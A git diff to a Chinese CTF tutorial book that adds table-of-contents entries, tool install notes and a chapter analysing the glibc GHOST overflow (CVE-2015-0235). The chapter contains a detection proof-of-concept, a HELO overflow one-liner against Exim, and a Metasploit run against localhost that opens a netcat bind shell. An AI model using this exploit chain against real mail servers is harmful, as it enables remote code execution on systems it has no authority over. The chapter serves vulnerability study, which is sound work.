diff --git a/README.md b/README.md index 5095172..4877391 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,5 @@ -# CTF-All-In-One(CTF 从入门到放弃) +CTF-All-In-One(CTF 从入门到放弃) +--- [![Build Status](https://travis-ci.org/firmianay/CTF-All-In-One.svg?branch=master)](https://travis-ci.org/firmianay/CTF-All-In-One) @@ -9,18 +10,19 @@ *GitBook 地址:https://www.gitbook.com/book/firmianay/ctf-all-in-one/details* *PDF 文件地址:https://github.com/firmianay/CTF-All-In-One/releases* -## 目录 + +目录 --- 请查看 [SUMMARY.md](SUMMARY.md) -## 合作和贡献 +合作和贡献 --- 请查看 [CONTRIBUTION.md](CONTRIBUTION.md) -## 致谢 +致谢 --- 请查看 [THANKS](THANKS) -## LICENSE +LICENSE --- CC BY-SA 4.0 diff --git a/SUMMARY.md b/SUMMARY.md index 6a81c40..18fa0fe 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -40,6 +40,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [1.7.4 Android 常用工具](doc/1.7.4_android_tools.md) * [二、工具篇](doc/2_tools.md) * [2.1 VM](doc/2.1_vm.md) + * [2.1.1 QEMU](doc/2.1.1_qemu.md) * [2.2 gdb/peda](doc/2.2_gdb.md) * [2.3 ollydbg](doc/2.3_ollydbg.md) * [2.4 windbg](doc/2.4_windbg.md) @@ -82,6 +83,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [五、高级篇](doc/5_advanced.md) * [5.1 Fuzz 测试](doc/5.1_fuzz.md) * [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md) + * [5.1.2 libFuzzer](doc/5.1.2_libfuzzer.md) * [5.2 Pin 动态二进制插桩](doc/5.2_pin.md) * [5.3 angr 二进制自动化分析](doc/5.3_angr.md) * [5.4 符号执行](doc/5.4_symbolic.md) @@ -116,6 +118,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [6.3.1 web HCTF2017 babycrack](doc/6.3.1_web_hctf2017_babycrack.md) * [七、实战篇](doc/7_exploit.md) * [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](doc/7.1.1_tcpdump_2017-11543.md) + * [7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow](doc/7.1.2_glibc_2015-0235.md) * [八、附录](doc/8_appendix.md) * [8.1 更多 Linux 工具](doc/8.1_Linuxtools.md) * [8.2 更多 Windows 工具](doc/8.2_wintools.md) diff --git a/doc/2.1.1_qemu.md b/doc/2.1.1_qemu.md new file mode 100644 index 0000000..649aa58 --- /dev/null +++ b/doc/2.1.1_qemu.md @@ -0,0 +1,28 @@ +# 2.1.1 QEMU + +- [简介](#简介) +- [安装](#安装) +- [参考资料](#参考资料) + +## 简介 +QEMU 是一个广泛使用的开源计算机仿真器和虚拟机。当作为仿真器时,可以在一种架构(如PC机)下运行另一种架构(如ARM)下的操作系统和程序,当作为虚拟机时,可以使用 Xen 或 KVM 访问 CPU 的扩展功能(HVM),在主机 CPU 上直接执行虚拟客户端的代码。 + + +## 安装 +``` +Arch: $ pacman -S qemu +Debian/Ubuntu: $ apt-get install qemu +``` +当然如果你偏爱源码编译安装的话: +``` +$ git clone git://git.qemu.org/qemu.git +$ cd qemu +$ git submodule init +$ git submodule update --recursive +$ ./configure +$ make +``` + + +## 参考资料 +- [QEMU](https://www.qemu.org/) diff --git a/doc/2_tools.md b/doc/2_tools.md index 3822289..ac5914e 100644 --- a/doc/2_tools.md +++ b/doc/2_tools.md @@ -1,6 +1,7 @@ # 第二章 工具篇 - [2.1 VM](2.1_vm.md) + - [2.1.1 QEMU](2.1.1_qemu.md) - [2.2 gdb/peda](2.2_gdb.md) - [2.3 ollydbg](2.3_ollydbg.md) - [2.4 windbg](2.4_windbg.md) diff --git a/doc/5.1.1_afl_fuzzer.md b/doc/5.1.1_afl_fuzzer.md index 2d94d4a..88ab081 100644 --- a/doc/5.1.1_afl_fuzzer.md +++ b/doc/5.1.1_afl_fuzzer.md @@ -1 +1,25 @@ # 5.1.1 AFL fuzzer + +- [AFL 简介](#afl-简介) +- [安装](#安装) +- [简单示例](#简单示例) + + +## AFL 简介 +AFL 是一个强大的 Fuzzing 测试工具,由 lcamtuf 所开发。利用 AFL 在源码编译时进行插桩(简称编译时插桩),可以自动产生测试用例来探索二进制程序内部新的执行路径。与其他基于插桩技术的 fuzzer 相比,AFL 具有较低的性能消耗,各种高效的模糊测试策略和最小化技巧,它无需很多复杂的配置即可处理现实中的复杂程序。另外 AFL 也支持直接对没有源码的二进制程序进行黑盒测试,但需要 QEMU 的支持。 + + +## 安装 +``` +$ wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz +$ tar zxvf afl-latest.tgz +$ cd afl-2.52b +$ make +$ sudo make install +``` + + +## 简单示例 + + +## 参考资料 diff --git a/doc/5.1.2_libfuzzer.md b/doc/5.1.2_libfuzzer.md new file mode 100644 index 0000000..f9042df --- /dev/null +++ b/doc/5.1.2_libfuzzer.md @@ -0,0 +1,7 @@ +# 5.1.2 libFuzzer + +- [参考资料](#参考资料) + + +## 参考资料 +- [libFuzzer – a library for coverage-guided fuzz testing.](http://llvm.org/docs/LibFuzzer.html) diff --git a/doc/5_advanced.md b/doc/5_advanced.md index 682edd6..377b40a 100644 --- a/doc/5_advanced.md +++ b/doc/5_advanced.md @@ -2,6 +2,7 @@ - [5.1 Fuzz 测试](5.1_fuzz.md) - [5.1.1 AFL fuzzer](5.1.1_afl_fuzzer.md) + - [5.1.2 libFuzzer](5.1.2_libfuzzer.md) - [5.2 Pin 动态二进制插桩](5.2_pin.md) - [5.3 angr 二进制自动化分析](5.3_angr.md) - [5.4 Symbolic Execution 符号执行技术](5.4_symbolic.md) diff --git a/doc/6_writeup.md b/doc/6_writeup.md index 7da5b71..4484a27 100644 --- a/doc/6_writeup.md +++ b/doc/6_writeup.md @@ -19,3 +19,5 @@ - [6.2.4 re CSAWCTF2015 wyvern](6.2.4_re_csawctf2015_wyvern.md) - [6.2.5 re PicoCTF2014 Baleful](6.2.5_re_picoctf2014_baleful.md) - [6.2.6 re SECCON2017 printf_machine](6.2.6_re_seccon2017_printf_machine.md) +- web + - [6.3.1 web HCTF2017 babycrack](6.3.1_web_hctf2017_babycrack.md) diff --git a/doc/7.1.1_tcpdump_2017-11543.md b/doc/7.1.1_tcpdump_2017-11543.md index 187e67e..27d81ed 100644 --- a/doc/7.1.1_tcpdump_2017-11543.md +++ b/doc/7.1.1_tcpdump_2017-11543.md @@ -6,7 +6,7 @@ - [参考资料](#参考资料) -[下载文件](../src/exploit/7.1.1_tcpdump_bof) +[下载文件](../src/exploit/7.1.1_tcpdump_2017-11543) ## 漏洞描述 tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 `sliplink_print` 函数(位于 `print-sl.c`)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。 diff --git a/doc/7.1.2_glibc_2015-0235.md b/doc/7.1.2_glibc_2015-0235.md new file mode 100644 index 0000000..d226278 --- /dev/null +++ b/doc/7.1.2_glibc_2015-0235.md @@ -0,0 +1,532 @@ +# 7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow + +- [漏洞描述](#漏洞描述) +- [漏洞复现](#漏洞复现) +- [漏洞分析](#漏洞分析) + - [Exim expolit](#exim-exploit) +- [参考资料](#参考资料) + + +[下载文件](../src/exploit/7.1.2_glibc_2015-0235) + +## 漏洞描述 +glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。 + + +## 漏洞复现 +| |推荐使用的环境 | 备注 +--- | --- | --- +操作系统 | Ubuntu 12.04 | 体系结构:64 位 +调试器 | gdb-peda| 版本号:7.4 +漏洞软件 | glibc | 版本号:2.15 +受影响软件 | Exim4 | 版本号 4.80 + +通过下面的 PoC 可以知道自己的系统是否受到影响: +```c +#include +#include +#include +#include +#include + +#define CANARY "in_the_coal_mine" + +struct { + char buffer[1024]; + char canary[sizeof(CANARY)]; +} temp = { "buffer", CANARY }; + +int main(void) { + struct hostent resbuf; + struct hostent *result; + int herrno; + int retval; + + /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ + size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; + char name[sizeof(temp.buffer)]; + memset(name, '0', len); + name[len] = '\0'; + + retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); + + if (strcmp(temp.canary, CANARY) != 0) { + puts("vulnerable"); + exit(EXIT_SUCCESS); + } + if (retval == ERANGE) { + puts("not vulnerable"); + exit(EXIT_SUCCESS); + } + puts("should not happen"); + exit(EXIT_FAILURE); +} +``` +``` +$ file /lib/x86_64-linux-gnu/libc-2.15.so +/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped +$ gcc -g poc.c +$ ./a.out +vulnerable +``` +很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。 + +函数 `gethostbyname_r()` 在 `include/netdb.h` 中定义如下: +```c +struct hostent { + char *h_name; /* official name of host */ + char **h_aliases; /* alias list */ + int h_addrtype; /* host address type */ + int h_length; /* length of address */ + char **h_addr_list; /* list of addresses */ +} +#define h_addr h_addr_list[0] /* for backward compatibility */ + +int gethostbyname_r(const char *name, + struct hostent *ret, char *buf, size_t buflen, + struct hostent **result, int *h_errnop); +``` +- `name`:网页的 host 名称 +- `ret`:成功时用于存储结果 +- `buf`:临时缓冲区,存储过程中的各种信息 +- `buflen`:缓冲区大小 +- `result`:成功时指向 ret +- `h_errnop`:存储错误码 + +执行前: +``` +gdb-peda$ x/6gx temp.buffer +0x601060 : 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr +0x601070 : 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs +0x601080 : 0x0000000000000000 0x0000000000000000 <-- hostname +gdb-peda$ x/20gx temp.canary-0x10 +0x601450 : 0x0000000000000000 0x0000000000000000 +0x601460 : 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary +0x601470 : 0x0000000000000000 0x0000000000000000 +``` +执行后: +``` +gdb-peda$ x/6gx temp.buffer +0x601060 : 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr +0x601070 : 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs +0x601080 : 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname +gdb-peda$ x/6gx temp.canary-0x10 +0x601450 : 0x3030303030303030 0x3030303030303030 +0x601460 : 0x0030303030303030 0x656e696d5f6c616f <-- canary +0x601470 : 0x0000000000000000 0x0000000000000000 +``` +canary 被覆盖了 8 个字节,即溢出了 8 个字节。 + + +## 漏洞分析 +``` +grep -irF '__nss_hostname_digits_dots' ./* +./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots +./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2. +[...] +./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer, +./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf, +./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots) +./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL, +``` +通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 `HANDLE_DIGITS_DOTS` 被定义: +```c +// inet/gethstbynm.c +#define NEED_H_ERRNO 1 + +// nss/getXXbyYY_r.c +#ifdef HANDLE_DIGITS_DOTS + if (buffer != NULL) + { + if (__nss_hostname_digits_dots (name, &resbuf, &buffer, + &buffer_size, 0, &result, NULL, AF_VAL, + H_ERRNO_VAR_P)) + goto done; + } +#endif +``` + +具体程序如下(来自glibc-2.17): +```c +// nss/digits_dots.c +int +__nss_hostname_digits_dots (const char *name, struct hostent *resbuf, + char **buffer, size_t *buffer_size, + size_t buflen, struct hostent **result, + enum nss_status *status, int af, int *h_errnop) +{ + [...] + if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') + { + const char *cp; + char *hostname; + typedef unsigned char host_addr_t[16]; + host_addr_t *host_addr; + typedef char *host_addr_list_t[2]; + host_addr_list_t *h_addr_ptrs; + char **h_alias_ptr; + size_t size_needed; + + [...] + // size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 (1存储结尾的'\0') + size_needed = (sizeof (*host_addr) + + sizeof (*h_addr_ptrs) + strlen (name) + 1); + + if (buffer_size == NULL) // 重入分支 + { + if (buflen < size_needed) + { + [...] + goto done; + } + } + else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支 + { + char *new_buf; + *buffer_size = size_needed; + new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大 + + if (new_buf == NULL) + { + [...] + goto done; + } + *buffer = new_buf; + } + + [...] + // 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname + // 与缓冲区相差了一个 h_alias_ptr,64 位下为 8 字节 + host_addr = (host_addr_t *) *buffer; + h_addr_ptrs = (host_addr_list_t *) + ((char *) host_addr + sizeof (*host_addr)); + h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs)); + hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr); + + if (isdigit (name[0])) + { + for (cp = name;; ++cp) + { + if (*cp == '\0') + { + int ok; + + if (*--cp == '.') + break; + + [...] + if (af == AF_INET) + ok = __inet_aton (name, (struct in_addr *) host_addr); + else + { + assert (af == AF_INET6); + ok = inet_pton (af, name, host_addr) > 0; + } + if (! ok) + { + [...] + goto done; + } + + resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname,触发缓冲区溢出 + + [...] + goto done; + } + + if (!isdigit (*cp) && *cp != '.') + break; + } + } +``` +注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件: +- name 的第一个字符必须是数字 +- name 的最后一个字符不能是 "." +- name 的所有字符只能是数字或者 "." +- 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d","a.b.c","a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff + +对比一下 glibc-2.18 的代码,也就是把 h_alias\_ptr 的长度加上了,问题完美解决: +```c + size_needed = (sizeof (*host_addr) + + sizeof (*h_addr_ptrs) + + sizeof (*h_alias_ptr) + strlen (name) + 1); +``` + +#### Exim exploit +``` +$ sudo apt-get install libpcre3-dev +$ git clone https://github.com/Exim/exim.git +$ cd exim/src +$ git checkout exim-4_80 +$ mkdir Local +$ cp src/EDITME Local/Makefile +$ #修改 Makefile 中的 EXIM_USER=你的用户名 +$ #注释掉 EXIM_MONITOR=eximon.bin +$ #然后取消掉 PCRE_LIBS=-lpcre 的注释 +$ make && sudo make install +``` +最后为了能够调用 `smtp_verify_helo()`,在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`: +``` +acl_smtp_mail = MAIN_ACL_CHECK_MAIL + +helo_try_verify_hosts = * +``` +更新并重启软件即可: +``` +$ update-exim4.conf +$ exim4 -bP | grep helo_try +helo_try_verify_hosts = * +$ sudo /etc/init.d/exim4 stop +$ sudo /usr/exim/bin/exim -bdf -d+all +``` +这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地运行, + +先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么: +``` +$ telnet 127.0.0.1 25 +Trying 127.0.0.1... +Connected to 127.0.0.1. +Escape character is '^]'. +220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800 +HELO 0123456789 +250 firmy-VirtualBox Hello localhost [127.0.0.1] +^CConnection closed by foreign host. +firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25 +Trying 127.0.0.1... +Connected to 127.0.0.1. +Escape character is '^]'. +220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800 +HELO 0123456789 +250 firmy-VirtualBox Hello localhost [127.0.0.1] +``` +结果如下: +``` +17:00:47 5577 Process 5577 is ready for new message +17:00:47 5577 smtp_setup_msg entered +17:00:55 5577 SMTP<< HELO 0123456789 +17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1] +17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789) +17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1] +17:00:55 5577 verifying EHLO/HELO argument "0123456789" +17:00:55 5577 getting IP address for 0123456789 +17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND) +17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND) +17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1]) +17:00:55 5577 LOG: host_lookup_failed MAIN +17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1]) +17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts +17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1] +``` + +可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下:[github](https://github.com/Exim/exim/tree/exim-4_80) +```c +// src/src/smtp_in.c +int +smtp_setup_msg(void) +{ +[...] +while (done <= 0) + { + [...] + switch(smtp_read_command(TRUE)) + { + [...] + case HELO_CMD: + HAD(SCH_HELO); + hello = US"HELO"; + esmtp = FALSE; + goto HELO_EHLO; + + case EHLO_CMD: + HAD(SCH_EHLO); + hello = US"EHLO"; + esmtp = TRUE; + + // 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程 + HELO_EHLO: /* Common code for HELO and EHLO */ + cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE; + cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE; + + /* Reject the HELO if its argument was invalid or non-existent. A + successful check causes the argument to be saved in malloc store. */ + + if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址 + { + [...] + break; + } + [...] + helo_verified = helo_verify_failed = FALSE; + if (helo_required || helo_verify) + { + BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效 + if (!helo_verified) + { + if (helo_required) + { + [...] + } + HDEBUG(D_all) debug_printf("%s verification failed but host is in " + "helo_try_verify_hosts\n", hello); + } + } +``` +继续看函数 `smtp_verify_helo()`: +```c +// src/src/smtp_in.c +BOOL +smtp_verify_helo(void) +{ + [...] + if (!helo_verified) + { + int rc; + host_item h; + h.name = sender_helo_name; + h.address = NULL; + h.mx = MX_NONE; + h.next = NULL; + HDEBUG(D_receive) debug_printf("getting IP address for %s\n", + sender_helo_name); + rc = host_find_byname(&h, NULL, 0, NULL, TRUE); + if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL) + [....] + } + } +``` +```c +// src/src/host.c +int +host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags, + uschar **fully_qualified_name, BOOL local_host_check) +{ +[...] +for (i = 1; i <= times; + #if HAVE_IPV6 + af = AF_INET, /* If 2 passes, IPv4 on the second */ + #endif + i++) + { + [...] + #if HAVE_IPV6 + if (running_in_test_harness) + hostdata = host_fake_gethostbyname(host->name, af, &error_num); + else + { + #if HAVE_GETIPNODEBYNAME + hostdata = getipnodebyname(CS host->name, af, 0, &error_num); + #else + hostdata = gethostbyname2(CS host->name, af); + error_num = h_errno; + #endif + } + + #else /* not HAVE_IPV6 */ + if (running_in_test_harness) + hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num); + else + { + hostdata = gethostbyname(CS host->name); + error_num = h_errno; + } + #endif /* HAVE_IPV6 */ +``` +函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。 + +这一次我们输入这样的一串字符,即可导致溢出: +``` +$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))" +``` +但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。 +``` +Connection closed by foreign host. +``` +``` +$ dmesg | grep exim +[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000] +[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000] +[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000] +[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000] +``` + +其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开: +``` +$ /etc/init.d/exim4 restart +``` +``` +msf > search exim + +Matching Modules +================ + + Name Disclosure Date Rank Description + ---- --------------- ---- ----------- + exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection + exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow + exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation + exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow + exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection + + +msf > use exploit/linux/smtp/exim_gethostbyname_bof +msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1 +RHOST => 127.0.0.1 +msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1 +SENDER_HOST_ADDRESS => 127.0.0.1 +msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat +payload => cmd/unix/bind_netcat +msf exploit(linux/smtp/exim_gethostbyname_bof) > show options + +Module options (exploit/linux/smtp/exim_gethostbyname_bof): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOST 127.0.0.1 yes The target address + RPORT 25 yes The target port (TCP) + SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim) + + +Payload options (cmd/unix/bind_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LPORT 4444 yes The listen port + RHOST 127.0.0.1 no The target address + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + +msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit + +[*] Started bind handler +[*] 127.0.0.1:25 - Checking if target is vulnerable... +[+] 127.0.0.1:25 - Target is vulnerable. +[*] 127.0.0.1:25 - Trying information leak... +[+] 127.0.0.1:25 - Successfully leaked_arch: x64 +[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720 +[*] 127.0.0.1:25 - Trying code execution... +[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb +[+] 127.0.0.1:25 - Brute-force SUCCESS +[+] 127.0.0.1:25 - Please wait for reply... +[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800 + +whoami +Debian-exim +id +uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim) +``` +Bingo!!!成功获得了一个反弹 shell。 + +对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。 + + +## 参考资料 +- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235) +- [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9) +- [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/) +- [Exim ESMTP 4.80 - glibc gethostbyname Denial of Service](https://www.exploit-db.com/exploits/35951/) diff --git a/doc/7_exploit.md b/doc/7_exploit.md index 2726ff9..26948ea 100644 --- a/doc/7_exploit.md +++ b/doc/7_exploit.md @@ -1,3 +1,4 @@ # 第七篇 实战篇 - [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](7.1.1_tcpdump_2017-11543.md) + - [7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow](doc/7.1.2_glibc_2015-0235.md) diff --git a/src/exploit/7.1.2_glibc_2015-0235/poc.c b/src/exploit/7.1.2_glibc_2015-0235/poc.c new file mode 100644 index 0000000..dab34bb --- /dev/null +++ b/src/exploit/7.1.2_glibc_2015-0235/poc.c @@ -0,0 +1,38 @@ +#include +#include +#include +#include +#include + +#define CANARY "in_the_coal_mine" + +struct { + char buffer[1024]; + char canary[sizeof(CANARY)]; +} temp = { "buffer", CANARY }; + +int main(void) { + struct hostent resbuf; + struct hostent *result; + int herrno; + int retval; + + /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ + size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; + char name[sizeof(temp.buffer)]; + memset(name, '0', len); + name[len] = '\0'; + + retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); + + if (strcmp(temp.canary, CANARY) != 0) { + puts("vulnerable"); + exit(EXIT_SUCCESS); + } + if (retval == ERANGE) { + puts("not vulnerable"); + exit(EXIT_SUCCESS); + } + puts("should not happen"); + exit(EXIT_FAILURE); +}